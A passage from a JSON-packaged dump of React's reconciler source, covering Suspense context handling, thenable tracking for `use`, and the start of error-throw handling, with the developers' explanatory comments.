SuspenseListRenderState = {\n  isBackwards: boolean,\n  // The currently rendering tail row.\n  rendering: null | Fiber,\n  // The absolute time when we started rendering the most recent tail row.\n  renderingStartTime: number,\n  // The last of the already rendered children.\n  last: null | Fiber,\n  // Remaining rows on the tail of the list.\n  tail: null | Fiber,\n  // Tail insertions setting.\n  tailMode: SuspenseListTailMode,\n  // Keep track of total number of forks during multiple passes\n  treeForkCount: number,\n};\n\nexport type RetryQueue = Set<Wakeable>;\n\nexport function findFirstSuspended(row: Fiber): null | Fiber {\n  let node = row;\n  while (node !== null) {\n    if (node.tag === SuspenseComponent) {\n      const state: SuspenseState | null = node.memoizedState;\n      if (state !== null) {\n        const dehydrated: null | SuspenseInstance = state.dehydrated;\n        if (\n          dehydrated === null ||\n          isSuspenseInstancePending(dehydrated) ||\n          isSuspenseInstanceFallback(dehydrated)\n        ) {\n          return node;\n        }\n      }\n    } else if (\n      node.tag === SuspenseListComponent &&\n      // Independent revealOrder can't be trusted because it doesn't\n      // keep track of whether it suspended or not.\n      node.memoizedProps.revealOrder !== 'independent'\n    ) {\n      const didSuspend = (node.flags & DidCapture) !== NoFlags;\n      if (didSuspend) {\n        return node;\n      }\n    } else if (node.child !== null) {\n      node.child.return = node;\n      node = node.child;\n      continue;\n    }\n    if (node === row) {\n      return null;\n    }\n    while (node.sibling === null) {\n      if (node.return === null || node.return === row) {\n        return null;\n      }\n      node = node.return;\n    }\n    node.sibling.return = node.return;\n    node = node.sibling;\n  }\n  return null;\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberSuspenseContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {SuspenseProps} from 'shared/ReactTypes';\nimport type {Fiber} from './ReactInternalTypes';\nimport type {StackCursor} from './ReactFiberStack';\nimport type {SuspenseState} from './ReactFiberSuspenseComponent';\n\nimport {enableSuspenseAvoidThisFallback} from 'shared/ReactFeatureFlags';\nimport {createCursor, push, pop} from './ReactFiberStack';\nimport {isCurrentTreeHidden} from './ReactFiberHiddenContext';\nimport {OffscreenComponent} from './ReactWorkTags';\n\n// The Suspense handler is the boundary that should capture if something\n// suspends, i.e. it's the nearest `catch` block on the stack.\nconst suspenseHandlerStackCursor: StackCursor<Fiber | null> =\n  createCursor(null);\n\n// Represents the outermost boundary that is not visible in the current tree.\n// Everything above this is the \"shell\". When this is null, it means we're\n// rendering in the shell of the app. If it's non-null, it means we're rendering\n// deeper than the shell, inside a new tree that wasn't already visible.\n//\n// The main way we use this concept is to determine whether showing a fallback\n// would result in a desirable or undesirable loading state. Activing a fallback\n// in the shell is considered an undersirable loading state, because it would\n// mean hiding visible (albeit stale) content in the current tree — we prefer to\n// show the stale content, rather than switch to a fallback. But showing a\n// fallback in a new tree is fine, because there's no stale content to\n// prefer instead.\nlet shellBoundary: Fiber | null = null;\n\nexport function getShellBoundary(): Fiber | null {\n  return shellBoundary;\n}\n\nexport function pushPrimaryTreeSuspenseHandler(handler: Fiber): void {\n  // TODO: Pass as argument\n  const current = handler.alternate;\n  const props: SuspenseProps = handler.pendingProps;\n\n  // Shallow Suspense context fields, like ForceSuspenseFallback, should only be\n  // propagated a single level. For example, when ForceSuspenseFallback is set,\n  // it should only force the nearest Suspense boundary into fallback mode.\n  push(\n    suspenseStackCursor,\n    setDefaultShallowSuspenseListContext(suspenseStackCursor.current),\n    handler,\n  );\n\n  // Experimental feature: Some Suspense boundaries are marked as having an\n  // undesirable fallback state. These have special behavior where we only\n  // activate the fallback if there's no other boundary on the stack that we can\n  // use instead.\n  if (\n    enableSuspenseAvoidThisFallback &&\n    props.unstable_avoidThisFallback === true &&\n    // If an avoided boundary is already visible, it behaves identically to\n    // a regular Suspense boundary.\n    (current === null || isCurrentTreeHidden())\n  ) {\n    if (shellBoundary === null) {\n      // We're rendering in the shell. There's no parent Suspense boundary that\n      // can provide a desirable fallback state. We'll use this boundary.\n      push(suspenseHandlerStackCursor, handler, handler);\n\n      // However, because this is not a desirable fallback, the children are\n      // still considered part of the shell. So we intentionally don't assign\n      // to `shellBoundary`.\n    } else {\n      // There's already a parent Suspense boundary that can provide a desirable\n      // fallback state. Prefer that one.\n      const handlerOnStack = suspenseHandlerStackCursor.current;\n      push(suspenseHandlerStackCursor, handlerOnStack, handler);\n    }\n    return;\n  }\n\n  // TODO: If the parent Suspense handler already suspended, there's no reason\n  // to push a nested Suspense handler, because it will get replaced by the\n  // outer fallback, anyway. Consider this as a future optimization.\n  push(suspenseHandlerStackCursor, handler, handler);\n  if (shellBoundary === null) {\n    if (current === null || isCurrentTreeHidden()) {\n      // This boundary is not visible in the current UI.\n      shellBoundary = handler;\n    } else {\n      const prevState: SuspenseState = current.memoizedState;\n      if (prevState !== null) {\n        // This boundary is showing a fallback in the current UI.\n        shellBoundary = handler;\n      }\n    }\n  }\n}\n\nexport function pushFallbackTreeSuspenseHandler(fiber: Fiber): void {\n  // We're about to render the fallback. If something in the fallback suspends,\n  // it's akin to throwing inside of a `catch` block. This boundary should not\n  // capture. Reuse the existing handler on the stack.\n  reuseSuspenseHandlerOnStack(fiber);\n}\n\nexport function pushDehydratedActivitySuspenseHandler(fiber: Fiber): void {\n  // This is called when hydrating an Activity boundary. We can just leave it\n  // dehydrated if it suspends.\n  // A SuspenseList context is only pushed here to avoid a push/pop mismatch.\n  // Reuse the current value on the stack.\n  // TODO: We can avoid needing to push here by by forking popSuspenseHandler\n  // into separate functions for Activity, Suspense and Offscreen.\n  push(suspenseStackCursor, suspenseStackCursor.current, fiber);\n  push(suspenseHandlerStackCursor, fiber, fiber);\n  if (shellBoundary === null) {\n    // We can contain any suspense inside the Activity boundary.\n    shellBoundary = fiber;\n  }\n}\n\nexport function pushOffscreenSuspenseHandler(fiber: Fiber): void {\n  if (fiber.tag === OffscreenComponent) {\n    // A SuspenseList context is only pushed here to avoid a push/pop mismatch.\n    // Reuse the current value on the stack.\n    // TODO: We can avoid needing to push here by by forking popSuspenseHandler\n    // into separate functions for Activity, Suspense and Offscreen.\n    push(suspenseStackCursor, suspenseStackCursor.current, fiber);\n    push(suspenseHandlerStackCursor, fiber, fiber);\n    if (shellBoundary === null) {\n      // We're rendering hidden content. If it suspends, we can handle it by\n      // just not committing the offscreen boundary.\n      shellBoundary = fiber;\n    }\n  } else {\n    // This is a LegacyHidden component.\n    reuseSuspenseHandlerOnStack(fiber);\n  }\n}\n\nexport function reuseSuspenseHandlerOnStack(fiber: Fiber) {\n  push(suspenseStackCursor, suspenseStackCursor.current, fiber);\n  push(suspenseHandlerStackCursor, getSuspenseHandler(), fiber);\n}\n\nexport function getSuspenseHandler(): Fiber | null {\n  return suspenseHandlerStackCursor.current;\n}\n\nexport function popSuspenseHandler(fiber: Fiber): void {\n  pop(suspenseHandlerStackCursor, fiber);\n  if (shellBoundary === fiber) {\n    // Popping back into the shell.\n    shellBoundary = null;\n  }\n  pop(suspenseStackCursor, fiber);\n}\n\n// SuspenseList context\n// TODO: Move to a separate module? We may change the SuspenseList\n// implementation to hide/show in the commit phase, anyway.\nexport opaque type SuspenseContext = number;\nexport opaque type SubtreeSuspenseContext: SuspenseContext = number;\nexport opaque type ShallowSuspenseContext: SuspenseContext = number;\n\nconst DefaultSuspenseContext: SuspenseContext = 0b00;\n\nconst SubtreeSuspenseContextMask: SuspenseContext = 0b01;\n\n// ForceSuspenseFallback can be used by SuspenseList to force newly added\n// items into their fallback state during one of the render passes.\nexport const ForceSuspenseFallback: ShallowSuspenseContext = 0b10;\n\nexport const suspenseStackCursor: StackCursor<SuspenseContext> = createCursor(\n  DefaultSuspenseContext,\n);\n\nexport function hasSuspenseListContext(\n  parentContext: SuspenseContext,\n  flag: SuspenseContext,\n): boolean {\n  return (parentContext & flag) !== 0;\n}\n\nexport function setDefaultShallowSuspenseListContext(\n  parentContext: SuspenseContext,\n): SuspenseContext {\n  return parentContext & SubtreeSuspenseContextMask;\n}\n\nexport function setShallowSuspenseListContext(\n  parentContext: SuspenseContext,\n  shallowContext: ShallowSuspenseContext,\n): SuspenseContext {\n  return (parentContext & SubtreeSuspenseContextMask) | shallowContext;\n}\n\nexport function pushSuspenseListContext(\n  fiber: Fiber,\n  newContext: SuspenseContext,\n): void {\n  // Push the current handler in this case since we're not catching at the SuspenseList\n  // for typical rows.\n  const handlerOnStack = suspenseHandlerStackCursor.current;\n  push(suspenseHandlerStackCursor, handlerOnStack, fiber);\n  push(suspenseStackCursor, newContext, fiber);\n}\n\nexport function pushSuspenseListCatch(\n  fiber: Fiber,\n  newContext: SuspenseContext,\n): void {\n  // In this case we do want to handle catching suspending on the actual boundary itself.\n  // This is used for rows that are allowed to be hidden anyway.\n  push(suspenseHandlerStackCursor, fiber, fiber);\n  push(suspenseStackCursor, newContext, fiber);\n  if (shellBoundary === null) {\n    // We can contain the effects to hiding the current row.\n    shellBoundary = fiber;\n  }\n}\n\nexport function popSuspenseListContext(fiber: Fiber): void {\n  pop(suspenseStackCursor, fiber);\n  pop(suspenseHandlerStackCursor, fiber);\n  if (shellBoundary === fiber) {\n    // Popping back into the shell.\n    shellBoundary = null;\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberThenable.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Thenable,\n  PendingThenable,\n  FulfilledThenable,\n  RejectedThenable,\n  ReactIOInfo,\n} from 'shared/ReactTypes';\n\nimport type {LazyComponent as LazyComponentType} from 'react/src/ReactLazy';\n\nimport {callLazyInitInDEV} from './ReactFiberCallUserSpace';\n\nimport {getWorkInProgressRoot} from './ReactFiberWorkLoop';\n\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\n\nimport {enableAsyncDebugInfo} from 'shared/ReactFeatureFlags';\n\nimport noop from 'shared/noop';\n\nopaque type ThenableStateDev = {\n  didWarnAboutUncachedPromise: boolean,\n  thenables: Array<Thenable<any>>,\n};\n\nopaque type ThenableStateProd = Array<Thenable<any>>;\n\nexport opaque type ThenableState = ThenableStateDev | ThenableStateProd;\n\nfunction getThenablesFromState(state: ThenableState): Array<Thenable<any>> {\n  if (__DEV__) {\n    const devState: ThenableStateDev = (state: any);\n    return devState.thenables;\n  } else {\n    const prodState = (state: any);\n    return prodState;\n  }\n}\n\n// An error that is thrown (e.g. by `use`) to trigger Suspense. If we\n// detect this is caught by userspace, we'll log a warning in development.\nexport const SuspenseException: mixed = new Error(\n  \"Suspense Exception: This is not a real error! It's an implementation \" +\n    'detail of `use` to interrupt the current render. You must either ' +\n    'rethrow it immediately, or move the `use` call outside of the ' +\n    '`try/catch` block. Capturing without rethrowing will lead to ' +\n    'unexpected behavior.\\n\\n' +\n    'To handle async errors, wrap your component in an error boundary, or ' +\n    \"call the promise's `.catch` method and pass the result to `use`.\",\n);\n\nexport const SuspenseyCommitException: mixed = new Error(\n  'Suspense Exception: This is not a real error, and should not leak into ' +\n    \"userspace. If you're seeing this, it's likely a bug in React.\",\n);\n\nexport const SuspenseActionException: mixed = new Error(\n  \"Suspense Exception: This is not a real error! It's an implementation \" +\n    'detail of `useActionState` to interrupt the current render. You must either ' +\n    'rethrow it immediately, or move the `useActionState` call outside of the ' +\n    '`try/catch` block. Capturing without rethrowing will lead to ' +\n    'unexpected behavior.\\n\\n' +\n    'To handle async errors, wrap your component in an error boundary.',\n);\n// This is a noop thenable that we use to trigger a fallback in throwException.\n// TODO: It would be better to refactor throwException into multiple functions\n// so we can trigger a fallback directly without having to check the type. But\n// for now this will do.\nexport const noopSuspenseyCommitThenable = {\n  then() {\n    if (__DEV__) {\n      console.error(\n        'Internal React error: A listener was unexpectedly attached to a ' +\n          '\"noop\" thenable. This is a bug in React. Please file an issue.',\n      );\n    }\n  },\n};\n\nexport function createThenableState(): ThenableState {\n  // The ThenableState is created the first time a component suspends. If it\n  // suspends again, we'll reuse the same state.\n  if (__DEV__) {\n    return {\n      didWarnAboutUncachedPromise: false,\n      thenables: [],\n    };\n  } else {\n    return [];\n  }\n}\n\nexport function isThenableResolved(thenable: Thenable<mixed>): boolean {\n  const status = thenable.status;\n  return status === 'fulfilled' || status === 'rejected';\n}\n\nexport function trackUsedThenable<T>(\n  thenableState: ThenableState,\n  thenable: Thenable<T>,\n  index: number,\n): T {\n  if (__DEV__ && ReactSharedInternals.actQueue !== null) {\n    ReactSharedInternals.didUsePromise = true;\n  }\n  const trackedThenables = getThenablesFromState(thenableState);\n  const previous = trackedThenables[index];\n  if (previous === undefined) {\n    trackedThenables.push(thenable);\n  } else {\n    if (previous !== thenable) {\n      // Reuse the previous thenable, and drop the new one. We can assume\n      // they represent the same value, because components are idempotent.\n\n      if (__DEV__) {\n        const thenableStateDev: ThenableStateDev = (thenableState: any);\n        if (!thenableStateDev.didWarnAboutUncachedPromise) {\n          // We should only warn the first time an uncached thenable is\n          // discovered per component, because if there are multiple, the\n          // subsequent ones are likely derived from the first.\n          //\n          // We track this on the thenableState instead of deduping using the\n          // component name like we usually do, because in the case of a\n          // promise-as-React-node, the owner component is likely different from\n          // the parent that's currently being reconciled. We'd have to track\n          // the owner using state, which we're trying to move away from. Though\n          // since this is dev-only, maybe that'd be OK.\n          //\n          // However, another benefit of doing it this way is we might\n          // eventually have a thenableState per memo/Forget boundary instead\n          // of per component, so this would allow us to have more\n          // granular warnings.\n          thenableStateDev.didWarnAboutUncachedPromise = true;\n\n          // TODO: This warning should link to a corresponding docs page.\n          console.error(\n            'A component was suspended by an uncached promise. Creating ' +\n              'promises inside a Client Component or hook is not yet ' +\n              'supported, except via a Suspense-compatible library or framework.',\n          );\n        }\n      }\n\n      // Avoid an unhandled rejection errors for the Promises that we'll\n      // intentionally ignore.\n      thenable.then(noop, noop);\n      thenable = previous;\n    }\n  }\n\n  if (__DEV__ && enableAsyncDebugInfo && thenable._debugInfo === undefined) {\n    // In DEV mode if the thenable that we observed had no debug info, then we add\n    // an inferred debug info so that we're able to track its potential I/O uniquely.\n    // We don't know the real start time since the I/O could have started much\n    // earlier and this could even be a cached Promise. Could be misleading.\n    const startTime = performance.now();\n    const displayName = thenable.displayName;\n    const ioInfo: ReactIOInfo = {\n      name: typeof displayName === 'string' ? displayName : 'Promise',\n      start: startTime,\n      end: startTime,\n      value: (thenable: any),\n      // We don't know the requesting owner nor stack.\n    };\n    // We can infer the await owner/stack lazily from where this promise ends up\n    // used. It can be used in more than one place so we can't assign it here.\n    thenable._debugInfo = [{awaited: ioInfo}];\n    // Track when we resolved the Promise as the approximate end time.\n    if (thenable.status !== 'fulfilled' && thenable.status !== 'rejected') {\n      const trackEndTime = () => {\n        // $FlowFixMe[cannot-write]\n        ioInfo.end = performance.now();\n      };\n      thenable.then(trackEndTime, trackEndTime);\n    }\n  }\n\n  // We use an expando to track the status and result of a thenable so that we\n  // can synchronously unwrap the value. Think of this as an extension of the\n  // Promise API, or a custom interface that is a superset of Thenable.\n  //\n  // If the thenable doesn't have a status, set it to \"pending\" and attach\n  // a listener that will update its status and result when it resolves.\n  switch (thenable.status) {\n    case 'fulfilled': {\n      const fulfilledValue: T = thenable.value;\n      return fulfilledValue;\n    }\n    case 'rejected': {\n      const rejectedError = thenable.reason;\n      checkIfUseWrappedInAsyncCatch(rejectedError);\n      throw rejectedError;\n    }\n    default: {\n      if (typeof thenable.status === 'string') {\n        // Only instrument the thenable if the status if not defined. If\n        // it's defined, but an unknown value, assume it's been instrumented by\n        // some custom userspace implementation. We treat it as \"pending\".\n        // Attach a dummy listener, to ensure that any lazy initialization can\n        // happen. Flight lazily parses JSON when the value is actually awaited.\n        thenable.then(noop, noop);\n      } else {\n        // This is an uncached thenable that we haven't seen before.\n\n        // Detect infinite ping loops caused by uncached promises.\n        const root = getWorkInProgressRoot();\n        if (root !== null && root.shellSuspendCounter > 100) {\n          // This root has suspended repeatedly in the shell without making any\n          // progress (i.e. committing something). This is highly suggestive of\n          // an infinite ping loop, often caused by an accidental Async Client\n          // Component.\n          //\n          // During a transition, we can suspend the work loop until the promise\n          // to resolve, but this is a sync render, so that's not an option. We\n          // also can't show a fallback, because none was provided. So our last\n          // resort is to throw an error.\n          //\n          // TODO: Remove this error in a future release. Other ways of handling\n          // this case include forcing a concurrent render, or putting the whole\n          // root into offscreen mode.\n          throw new Error(\n            'An unknown Component is an async Client Component. ' +\n              'Only Server Components can be async at the moment. ' +\n              'This error is often caused by accidentally ' +\n              \"adding `'use client'` to a module that was originally written \" +\n              'for the server.',\n          );\n        }\n\n        const pendingThenable: PendingThenable<T> = (thenable: any);\n        pendingThenable.status = 'pending';\n        pendingThenable.then(\n          fulfilledValue => {\n            if (thenable.status === 'pending') {\n              const fulfilledThenable: FulfilledThenable<T> = (thenable: any);\n              fulfilledThenable.status = 'fulfilled';\n              fulfilledThenable.value = fulfilledValue;\n            }\n          },\n          (error: mixed) => {\n            if (thenable.status === 'pending') {\n              const rejectedThenable: RejectedThenable<T> = (thenable: any);\n              rejectedThenable.status = 'rejected';\n              rejectedThenable.reason = error;\n            }\n          },\n        );\n      }\n\n      // Check one more time in case the thenable resolved synchronously.\n      switch ((thenable: Thenable<T>).status) {\n        case 'fulfilled': {\n          const fulfilledThenable: FulfilledThenable<T> = (thenable: any);\n          return fulfilledThenable.value;\n        }\n        case 'rejected': {\n          const rejectedThenable: RejectedThenable<T> = (thenable: any);\n          const rejectedError = rejectedThenable.reason;\n          checkIfUseWrappedInAsyncCatch(rejectedError);\n          throw rejectedError;\n        }\n      }\n\n      // Suspend.\n      //\n      // Throwing here is an implementation detail that allows us to unwind the\n      // call stack. But we shouldn't allow it to leak into userspace. Throw an\n      // opaque placeholder value instead of the actual thenable. If it doesn't\n      // get captured by the work loop, log a warning, because that means\n      // something in userspace must have caught it.\n      suspendedThenable = thenable;\n      if (__DEV__) {\n        needsToResetSuspendedThenableDEV = true;\n      }\n      throw SuspenseException;\n    }\n  }\n}\n\nexport function suspendCommit(): void {\n  // This extra indirection only exists so it can handle passing\n  // noopSuspenseyCommitThenable through to throwException.\n  // TODO: Factor the thenable check out of throwException\n  suspendedThenable = noopSuspenseyCommitThenable;\n  throw SuspenseyCommitException;\n}\n\nexport function resolveLazy<T>(lazyType: LazyComponentType<T, any>): T {\n  try {\n    if (__DEV__) {\n      return callLazyInitInDEV(lazyType);\n    }\n    const payload = lazyType._payload;\n    const init = lazyType._init;\n    return init(payload);\n  } catch (x) {\n    if (x !== null && typeof x === 'object' && typeof x.then === 'function') {\n      // This lazy Suspended. Treat this as if we called use() to unwrap it.\n      suspendedThenable = x;\n      if (__DEV__) {\n        needsToResetSuspendedThenableDEV = true;\n      }\n      throw SuspenseException;\n    }\n    throw x;\n  }\n}\n\n// This is used to track the actual thenable that suspended so it can be\n// passed to the rest of the Suspense implementation — which, for historical\n// reasons, expects to receive a thenable.\nlet suspendedThenable: Thenable<any> | null = null;\nlet needsToResetSuspendedThenableDEV = false;\nexport function getSuspendedThenable(): Thenable<mixed> {\n  // This is called right after `use` suspends by throwing an exception. `use`\n  // throws an opaque value instead of the thenable itself so that it can't be\n  // caught in userspace. Then the work loop accesses the actual thenable using\n  // this function.\n  if (suspendedThenable === null) {\n    throw new Error(\n      'Expected a suspended thenable. This is a bug in React. Please file ' +\n        'an issue.',\n    );\n  }\n  const thenable = suspendedThenable;\n  suspendedThenable = null;\n  if (__DEV__) {\n    needsToResetSuspendedThenableDEV = false;\n  }\n  return thenable;\n}\n\nexport function checkIfUseWrappedInTryCatch(): boolean {\n  if (__DEV__) {\n    // This was set right before SuspenseException was thrown, and it should\n    // have been cleared when the exception was handled. If it wasn't,\n    // it must have been caught by userspace.\n    if (needsToResetSuspendedThenableDEV) {\n      needsToResetSuspendedThenableDEV = false;\n      return true;\n    }\n  }\n  return false;\n}\n\nexport function checkIfUseWrappedInAsyncCatch(rejectedReason: any) {\n  // This check runs in prod, too, because it prevents a more confusing\n  // downstream error, where SuspenseException is caught by a promise and\n  // thrown asynchronously.\n  // TODO: Another way to prevent SuspenseException from leaking into an async\n  // execution context is to check the dispatcher every time `use` is called,\n  // or some equivalent. That might be preferable for other reasons, too, since\n  // it matches how we prevent similar mistakes for other hooks.\n  if (\n    rejectedReason === SuspenseException ||\n    rejectedReason === SuspenseActionException\n  ) {\n    throw new Error(\n      'Hooks are not supported inside an async component. This ' +\n        \"error is often caused by accidentally adding `'use client'` \" +\n        'to a module that was originally written for the server.',\n    );\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberThrow.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber, FiberRoot} from './ReactInternalTypes';\nimport type {Lane, Lanes} from './ReactFiberLane';\nimport type {CapturedValue} from './ReactCapturedValue';\nimport type {Update} from './ReactFiberClassUpdateQueue';\nimport type {Wakeable} from 'shared/ReactTypes';\nimport type {\n  OffscreenQueue,\n  OffscreenState,\n} from './ReactFiberOffscreenComponent';\nimport type {RetryQueue} from './ReactFiberSuspenseComponent';\n\nimport getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';\nimport {\n  ClassComponent,\n  HostRoot,\n  IncompleteClassComponent,\n  IncompleteFunctionComponent,\n  FunctionComponent,\n  ForwardRef,\n  SimpleMemoComponent,\n  ActivityComponent,\n  SuspenseComponent,\n  OffscreenComponent,\n  SuspenseListComponent,\n} from './ReactWorkTags';\nimport {\n  DidCapture,\n  Incomplete,\n  NoFlags,\n  ShouldCapture,\n  LifecycleEffectMask,\n  ForceUpdateForLegacySuspense,\n  ForceClientRender,\n  ScheduleRetry,\n} from './ReactFiberFlags';\nimport {NoMode, ConcurrentMode} from './ReactTypeOfMode';\nimport {\n  enableUpdaterTracking,\n  disableLegacyMode,\n} from 'shared/ReactFeatureFlags';\nimport {createCapturedValueAtFiber} from './ReactCapturedValue';\nimport {\n  enqueueCapturedUpdate,\n  createUpdate,\n  CaptureUpdate,\n  ForceUpdate,\n  enqueueUpdate,\n} from './ReactFiberClassUpdateQueue';\nimport {markFailedErrorBoundaryForHotReloading} from './ReactFiberHotReloading';\nimport {\n  getShellBoundary,\n  getSuspenseHandler,\n} from './ReactFiberSuspenseContext';\nimport {\n  renderDidError,\n  queueConcurrentError,\n  renderDidSuspendDelayIfPossible,\n  markLegacyErrorBoundaryAsFailed,\n  isAlreadyFailedLegacyErrorBoundary,\n  attachPingListener,\n  restorePendingUpdaters,\n  renderDidSuspend,\n} from './ReactFiberWorkLoop';\nimport {propagateParentContextChangesToDeferredTree} from './ReactFiberNewContext';\nimport {logUncaughtError, logCaughtError} from './ReactFiberErrorLogger';\nimport {isDevToolsPresent} from './ReactFiberDevToolsHook';\nimport {\n  SyncLane,\n  includesSomeLane,\n  mergeLanes,\n  pickArbitraryLane,\n} from './ReactFiberLane';\nimport {\n  getIsHydrating,\n  markDidThrowWhileHydratingDEV,\n  queueHydrationError,\n  HydrationMismatchException,\n} from './ReactFiberHydrationContext';\nimport {ConcurrentRoot} from './ReactRootTags';\nimport {noopSuspenseyCommitThenable} from './ReactFiberThenable';\nimport {runWithFiberInDEV} from './ReactCurrentFiber';\nimport {callComponentDidCatchInDEV} from './ReactFiberCallUserSpace';\n\nfunction createRootErrorUpdate(\n  root: FiberRoot,\n  errorInfo: CapturedValue<mixed>,\n  lane: Lane,\n): Update<mixed> {\n  const update = createUpdate(lane);\n  // Unmount the root by rendering null.\n  update.tag = CaptureUpdate;\n  // Caution: React DevTools currently depends on this property\n  // being called \"element\".\n  update.payload = {element: null};\n  update.callback = () => {\n    if (__DEV__) {\n      runWithFiberInDEV(errorInfo.source, logUncaughtError, root, errorInfo);\n    } else {\n      logUncaughtError(root, errorInfo);\n    }\n  };\n  return update;\n}\n\nfunction createClassErrorUpdate(lane: Lane): Update<mixed> {\n  const update = createUpdate(lane);\n  update.tag = CaptureUpdate;\n  return update;\n}\n\nfunction initializeClassErrorUpdate(\n  update: Update<mixed>,\n  root: FiberRoot,\n  fiber: Fiber,\n  errorInfo: CapturedValue<mixed>,\n): void {\n  const getDerivedStateFromError = fiber.type.getDerivedStateFromError;\n  if (typeof getDerivedStateFromError === 'function') {\n    const error = errorInfo.value;\n    update.payload = () => {\n      return getDerivedStateFromError(error);\n    };\n    update.callback = () => {\n      if (__DEV__) {\n        markFailedErrorBoundaryForHotReloading(fiber);\n      }\n      if (__DEV__) {\n        runWithFiberInDEV(\n          errorInfo.source,\n          logCaughtError,\n          root,\n          fiber,\n          errorInfo,\n        );\n      } else {\n        logCaughtError(root, fiber, errorInfo);\n      }\n    };\n  }\n\n  const inst = fiber.stateNode;\n  if (inst !== null && typeof inst.componentDidCatch === 'function') {\n    // $FlowFixMe[missing-this-annot]\n    update.callback = function callback() {\n      if (__DEV__) {\n        markFailedErrorBoundaryForHotReloading(fiber);\n      }\n      if (__DEV__) {\n        runWithFiberInDEV(\n          errorInfo.source,\n          logCaughtError,\n          root,\n          fiber,\n          errorInfo,\n        );\n      } else {\n        logCaughtError(root, fiber, errorInfo);\n      }\n      if (typeof getDerivedStateFromError !== 'function') {\n        // To preserve the preexisting retry behavior of error boundaries,\n        // we keep track of which ones already failed during this batch.\n        // This gets reset before we yield back to the browser.\n        // TODO: Warn in strict mode if getDerivedStateFromError is\n        // not defined.\n        markLegacyErrorBoundaryAsFailed(this);\n      }\n      if (__DEV__) {\n        callComponentDidCatchInDEV(this, errorInfo);\n      } else {\n        const error = errorInfo.value;\n        const stack = errorInfo.stack;\n        this.componentDidCatch(error, {\n          componentStack: stack !== null ? stack : '',\n        });\n      }\n      if (__DEV__) {\n        if (typeof getDerivedStateFromError !== 'function') {\n          // If componentDidCatch is the only error boundary method defined,\n          // then it needs to call setState to recover from errors.\n          // If no state update is scheduled then the boundary will swallow the error.\n          if (!includesSomeLane(fiber.lanes, (SyncLane: Lane))) {\n            console.error(\n              '%s: Error boundaries should implement getDerivedStateFromError(). ' +\n                'In that method, return a state update to display an error message or fallback UI.',\n              getComponentNameFromFiber(fiber) || 'Unknown',\n            );\n          }\n        }\n      }\n    };\n  }\n}\n\nfunction resetSuspendedComponent(sourceFiber: Fiber, rootRenderLanes: Lanes) {\n  const currentSourceFiber = sourceFiber.alternate;\n  if (currentSourceFiber !== null) {\n    // Since we never visited the children of the suspended component, we\n    // need to propagate the context change now, to ensure that we visit\n    // them during the retry.\n    //\n    // We don't have to do this for errors because we retry errors without\n    // committing in between. So this is specific to Suspense.\n    propagateParentContextChangesToDeferredTree(\n      currentSourceFiber,\n      sourceFiber,\n      rootRenderLanes,\n    );\n  }\n\n  // Reset the memoizedState to what it was before we attempted to render it.\n  // A legacy mode Suspense quirk, only relevant to hook components.\n  const tag = sourceFiber.tag;\n  if (\n    !disableLegacyMode &&\n    (sourceFiber.mode & ConcurrentMode) === NoMode &&\n    (tag === FunctionComponent ||\n      tag === ForwardRef ||\n      tag === SimpleMemoComponent)\n  ) {\n    const currentSource = sourceFiber.alternate;\n    if (currentSource) {\n      sourceFiber.updateQueue = currentSource.updateQueue;\n      sourceFiber.memoizedState = currentSource.memoizedState;\n      sourceFiber.lanes = currentSource.lanes;\n    } else {\n      sourceFiber.updateQueue = null;\n      sourceFiber.memoizedState = null;\n    }\n  }\n}\n\nfunction markSuspenseBoundaryShouldCapture(\n  suspenseBoundary: Fiber,\n  returnFiber: Fiber | null,\n  sourceFiber: Fiber,\n  root: FiberRoot,\n  rootRenderLanes: Lanes,\n): Fiber | null {\n  // This marks a Suspense boundary so that when we're unwinding the stack,\n  // it captures the suspended \"exception\" and does a second (fallback) pass.\n  if (\n    !disableLegacyMode &&\n    (suspenseBoundary.mode & ConcurrentMode) === NoMode\n  ) {\n    // Legacy Mode Suspense\n    //\n    // If the boundary is in legacy mode, we should *not*\n    // suspend the commit. Pretend as if the suspended component rendered\n    // null and keep rendering. When the Suspense boundary completes,\n    // we'll do a second pass to render the fallback.\n    if (suspenseBoundary === returnFiber) {\n      // Special case where we suspended while reconciling the children of\n      // a Suspense boundary's inner Offscreen wrapper fiber. This happens\n      // when a React.lazy component is a direct child of a\n      // Suspense boundary.\n      //\n      // Suspense boundaries are implemented as multiple fibers, but they\n      // are a single conceptual unit. The legacy mode behavior where we\n      // pretend the suspended fiber committed as `null` won't work,\n      // because in this case the \"suspended\" fiber is the inner\n      // Offscreen wrapper.\n      //\n      // Because the contents of the boundary haven't started rendering\n      // yet (i.e. nothing in the tree has partially rendered) we can\n      // switch to the regular, concurrent mode behavior: mark the\n      // boundary with ShouldCapture and enter the unwind phase.\n      suspenseBoundary.flags |= ShouldCapture;\n    } else {\n      suspenseBoundary.flags |= DidCapture;\n      sourceFiber.flags |= ForceUpdateForLegacySuspense;\n\n      // We're going to commit this fiber even though it didn't complete.\n      // But we shouldn't call any lifecycle methods or callbacks. Remove\n      // all lifecycle effect tags.\n      sourceFiber.flags &= ~(LifecycleEffectMask | Incomplete);\n\n      if (sourceFiber.tag === ClassComponent) {\n        const currentSourceFiber = sourceFiber.alternate;\n        if (currentSourceFiber === null) {\n          // This is a new mount. Change the tag so it's not mistaken for a\n          // completed class component. For example, we should not call\n          // componentWillUnmount if it is deleted.\n          sourceFiber.tag = IncompleteClassComponent;\n        } else {\n          // When we try rendering again, we should not reuse the current fiber,\n          // since it's known to be in an inconsistent state. Use a force update to\n          // prevent a bail out.\n          const update = createUpdate(SyncLane);\n          update.tag = ForceUpdate;\n          enqueueUpdate(sourceFiber, update, SyncLane);\n        }\n      } else if (sourceFiber.tag === FunctionComponent) {\n        const 